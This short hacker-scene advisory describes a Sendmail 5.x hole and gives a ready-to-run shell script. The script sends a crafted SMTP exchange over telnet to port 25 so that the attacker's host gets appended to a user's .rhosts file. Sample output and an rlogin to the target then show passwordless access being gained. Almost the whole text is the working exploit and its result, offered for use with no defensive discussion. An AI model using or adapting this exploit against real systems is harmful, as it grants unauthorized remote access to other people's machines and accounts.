..:-={{Collaborative Security Information Center}}=-:..
          X-TREME & TECHNOTRONIC Security Collaboration Project
     http://www.technotronic.com  -=©=-  http://www.x-treme.abyss.com

Sendmail: 5.x

You can have your host appened to someones .rhosts file,by issuing 
the request twice in this example it's myhost.com:

 % cat sendmail_haq
 telnet target.com 25 << EOSM
 rcpt to: /home/students/twit/.rhosts
 mail from: twit
 data
 hello :) dewd
 .
 rcpt to: /home/students/twit/.rhosts
 mail from: twit
 data
 myhost.com
 .
 quit
 EOSM

 evil % /bin/sh sendmail_haq
 Trying 123.456.789.0
 Connected to target.com
 Escape character is '^]'.
 Connection closed by foreign host.

 % rlogin target.com -l twit
 %